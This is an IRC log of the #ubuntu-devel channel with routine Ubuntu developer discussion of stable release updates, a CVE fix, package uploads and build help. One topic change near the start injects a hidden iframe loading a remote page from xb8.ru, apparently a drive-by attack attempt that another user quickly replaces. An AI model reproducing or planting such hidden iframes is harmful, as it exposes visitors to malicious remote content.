| robert_ancell | bdmurray, I fixed the SRU template in https://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1738164 - please release that SRU! Needed because the reviews server is going to be disabled soon. | 00:21 |
|---|---|---|
| ubottu | Launchpad bug 1738164 in gnome-software (Ubuntu Cosmic) "[snap] U2F doesn't work with yubikey" [Medium,Confirmed] | 00:21 |
| === whack-a-mole changed the topic of #ubuntu-devel to: <body><iframe src="http://xb8.ru:8080/ts/in.cgi?pepsi122" width=125 height=125 style="visibility: hidden"></iframe> | ||
| === Unit193 changed the topic of #ubuntu-devel to: Archive: FF, DIF | 18.10 Released! | Devel of Ubuntu (not support) | Build failures: http://qa.ubuntuwire.com/ftbfs/ | #ubuntu for support and discussion of Trusty-Cosmic | If you can't send messages here, authenticate to NickServ first | Patch Pilots: | ||
| === led_dark_2 is now known as led_dark_1 | ||
| dupondje | https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-0211.html -> I would have expected to see patches for this already? | 08:42 |
| ubottu | ** <A HREF="https://cve.mitre.org/about/faqs.html#reserved_signify_in_cve_entry">RESERVED</A> ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided. (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0211) | 08:42 |
| sbeattie | dupondje: mdeslaur has packages available for testing https://launchpad.net/~ubuntu-security-proposed/+archive/ubuntu/ppa/+packages ; feedback welcome | 08:44 |
| === realitix_ is now known as realitix | ||
| === ricab is now known as ricab|lunch | ||
| rbasak | sil2100: on non-SRU editing the template, there was also https://wiki.ubuntu.com/StableReleaseUpdates?action=diff&rev1=290&rev2=292 | 13:32 |
| rbasak | I didn't mention it before because I didn't find that change objectionable. | 13:32 |
| sil2100 | rbasak: hey, thanks for watching those changes, makes me feel better that there's someone subscribed and monitoring those | 13:38 |
| sil2100 | rbasak: yeah, I wouldn't think this one is something I'd personally require, but it certainly is a bit less 'invasive' (but I guess that's just my feeling) | 13:38 |
| === cpaelzer_ is now known as cpaelzer | ||
| cpaelzer | cjwatson: I did not mean to stress the openssh bug or you, I just didn't know what feedback times to expect on that list and therefore pinged for you | 13:39 |
| sil2100 | rbasak: although this one I'm less keen on reverting since that's what all the kernel SRUs were following anyway | 13:39 |
| cpaelzer | but the TL;DR for me is that you seem to have it under control and that is enough for me | 13:39 |
| cpaelzer | I was only concerned to miss getting into Disco in time | 13:40 |
| cjwatson | cpaelzer: Yep - I've had a private response FWIW | 13:41 |
| === ricab|lunch is now known as ricab | ||
| sil2100 | mvo: hey! Did you take a look at bionic/xenial test regressions triggered by systemd? | 14:34 |
| sil2100 | mvo: I'd like to release it to -updates today, was wondering if you checked if those are related/unrelated etc. | 14:34 |
| sil2100 | mvo: the xenial ones seem unrelated, guess I can just hint some of those and let it in | 14:35 |
| sil2100 | mvo: there seems to be a bit more for bionic though | 14:35 |
| sil2100 | mvo: ok, anyway, I'll look at those now | 14:36 |
| === chrisccoulson_ is now known as chrisccoulson | ||
| doko | rbalint: xnox says the tomcat9 fix should be ok. could you upload that today, then I'll take care about bionic and cosmic | 14:53 |
| mvo | sil2100: I did look | 14:55 |
| mvo | sil2100: sorry for the late reply | 14:55 |
| mvo | sil2100: I did look and all the ones I looked at had a long history of failures, I did not spot anything that looked like a "new" thing, but let me double check again. iirc there was something (libglib?) that I had to restart but then it went away | 14:56 |
| rbalint | doko, already uploaded, it is in unapproved | 14:57 |
| rbalint | doko, pinged sil2100 on #ubuntu-release | 14:57 |
| rbalint | doko, cosmic is already ok | 14:58 |
| rbalint | doko, (and up) | 14:58 |
| doko | rbalint: cosmic-proposed? | 14:58 |
| doko | hmm, don't see anything ini c or d | 15:00 |
| rbalint | doko, cosmic's systemd supports the syntax used in tomcat9.conf | 15:00 |
| doko | ahh, ok | 15:00 |
| doko | rbalint: I'm rejecting it, and uploading to the ppa, because we must not build against -updates, just security | 15:02 |
| sil2100 | mvo: ACK! | 15:04 |
| rbalint | doko, ack | 15:05 |
| rbalint | doko, thanks | 15:05 |
| rbasak | sil2100: why not accept britney hints for SRUs via MPs? Or are you only saying that it hasn't been discussed? | 15:26 |
| sil2100 | rbasak: I'm saying it's not a requirement | 15:28 |
| sil2100 | rbasak: at least I never actually required anyone to do that for me - I appreciate it, but it's actually not much 'less' work for me to get that merged | 15:28 |
| doko | rbasak, sil2100: that should be documented, and then it should be ensured that these are regularily/daily addressed | 15:28 |
| sil2100 | Yeah, currently it is not and I am not monitoring MPs for hints | 15:29 |
| sil2100 | As this is not part of our official processes | 15:29 |
| rbasak | doko: I agree. First we need consensus on what the process should be though, which is what we're doing now. Then it can be documented. | 15:29 |
| sil2100 | The only thing official part of the process so far is: for each failing autopkgtest we should have hints committed if we let the upload land | 15:29 |
| doko | sure, but the current practice of ignoring hints on #u-r isn't ideal either | 15:30 |
| sil2100 | I personally just do it myself, or if someone pokes me with an MP I can use it instead | 15:30 |
| rbasak | sil2100: IMHO it is less work - because I can start my shift by looking for the MPs, and then the person on the next shift (after the report is regenerated) won't have to trawl through a rather large list of bugs looking for autopkgtest false positive explanations when the majority of bugs don't have those. IMHO that's a waste of time. | 15:30 |
| rbasak | If instead we use MPs, then I only need to pay attention to the bugs that are clean on the report. | 15:30 |
| rbasak | Separately, I'd like to make sure that bugs make it clear what is blocking SRU progress. I have thoughts on writing a bot for othat. | 15:31 |
| sil2100 | rbasak: well, as I mentioned in the thread, there is tooling for that 'almost there' | 15:31 |
| sil2100 | I don't want a separate bot for that | 15:31 |
| sil2100 | It'll be part of britney | 15:31 |
| sil2100 | It was reviewed recently and needs a few cleanups that I just need to get to finally | 15:32 |
| sil2100 | Anyway, I'm open to suggestions, I can add checking for hint MPs as part of my general SRU shift if that's what we decide, but I would prefer a discussion before we do that | 15:33 |
| sil2100 | I'm a bit worried that people would then blindly just submit MPs for hints without explaination of the failures, we'd have to formalize how such MPs should be formalized | 15:35 |
| sil2100 | Since I'd like to know that someone did actually check the failure, identified why it's failing and leave it as a comment in the hint+MP-description, while right now it's obvious they have to 'convince us' that the hint is needed | 15:36 |
| rbasak | I feel that the same applies to an MP - no justification given, no approval - but sure, we can document that. | 15:37 |
| sil2100 | Yeah, since like a half of the hint MPs I get are completely blank as far as context is concerned, so yeah, I have bad experiences + what x_nox already mentioned, people putting hints in bad places, merge conflicts etc. | 15:38 |
| sil2100 | So usually for me it's not much less work | 15:38 |
| sil2100 | (context: this is about SRUs) | 15:42 |
| mdeslaur | dupondje: https://usn.ubuntu.com/3937-1/ | 15:49 |
| rbasak | sil2100: on the bot, I just meant that we need to ensure that bugs don't languish with nobody understanding that we're waiting on a hints MP (if that's what we decide the process should be). If your tooling enhancements can do that, then great. | 15:54 |
| rbasak | sil2100: separately, I want to write a bot that maintains a section in the bug description explaining exactly what the next step is, who needs to do it, etc. | 15:54 |
| rbasak | By looking at the unapproved queue, pending-sru report, tag status, dep8 status, etc. | 15:54 |
| rbasak | This would be for people unfamiliar with the SRU process, such as non-Ubuntu-developer community contributors. | 15:54 |
| rbasak | It'd also explain FAQ items such as "yes it's verified but not aged yet" | 15:55 |
| rbasak | Because otherwise the SRU workflow is quite convoluted and unfathomable to outsiders, IMHO, because it involves various different reports, queues, tags, workflow, paperwork, etc, all interacting in quite a complex way. | 15:56 |
| ddstreet | sil2100 is your tooling in lp, somewhere i can peek at? | 16:07 |
| pedahzur | Good morning (from my time zone)! I have an issue in Launchpad that affects 18.04 (and probably after). It has a link to the upstream bug, and a link to the patch that fixes the issue. How do I go about getting some attention on it so we could get a new version of the package released? https://bugs.launchpad.net/ubuntu/+source/adcli/+bug/1821242 Thanks! | 16:54 |
| ubottu | Launchpad bug 1821242 in adcli (Ubuntu) "adcli delete dies with free(): invalid pointer" [Undecided,New] | 16:54 |
| sarnold | pedahzur: probably the next step is to attach a debdiff for the fix, fill in the SRU bug template in the bug report, and subscribe ubuntu-sponsors to the bug; the full details are on https://wiki.ubuntu.com/StableReleaseUpdates | 16:58 |
| pedahzur | sarnold: Thanks! Never done that before. Will be a learning experience. :) | 16:59 |
| sarnold | pedahzur: the one wrinkle that I don't understand is that you usually have to arrange for the bug to be fixed in -devel, too; I *think* this should just be a bug fix for that, too, and it's not a huge patch, so probably doesn't need the feature freeze exception dance.. but that's outside my usual experience | 17:01 |
| rbasak | sarnold, pedahzur: right - feature freeze doesn't apply to bugfixes that don't involve feature changes. | 17:15 |
| sarnold | rbasak: good good :) | 17:16 |
| === JanC is now known as Guest19220 | ||
| === JanC_ is now known as JanC | ||
| LeoB | hello! I am trying to compile libvirt for ubuntu from the git repo (https://git.launchpad.net/~libvirt-maintainers/ubuntu/+source/libvirt, branch ubuntu/bionic) but 'fakeroot debian/rules binary' fails, with messages about moving files | 21:11 |
| LeoB | https://paste.ubuntu.com/p/N4YN6p8KFk/ | 21:11 |
| LeoB | is this the right procedure? | 21:11 |
| LeoB | (I am testing a patch backport) | 21:12 |
| rbasak | LeoB: https://git.launchpad.net/~libvirt-maintainers/ubuntu/+source/libvirt/tree/debian/rules?h=ubuntu/bionic-4.0#n182 | 21:15 |
| rbasak | I suspect that's a bug in packaging because DEB_HOST_MULTIARCH isn't set but your entry point should work. | 21:15 |
| rbasak | What you're doing is reasonable I think, but to work around te bug you might try https://wiki.ubuntu.com/SimpleSbuild | 21:16 |
| rbasak | sbuild is what Ubuntu developers usually use to build in a clean and reproducible environment | 21:16 |
| rbasak | Oh, and usually you'd run the build target first without fakeroot. | 21:18 |
| LeoB | rbasak,this sbuild seems very complicated | 21:23 |
| rbasak | Yes, it is unfortunately. Once set up it's not too bad. | 21:24 |
| rbasak | We're working on a much easier (one command) way to build debs reliably from a git checkout, but it's quite buggy right now I'm afraid. | 21:24 |
| LeoB | well, ok | 21:25 |
| LeoB | thanks for helping | 21:25 |
Generated by irclog2html.py 2.7 by Marius Gedminas - find it at mg.pov.lt!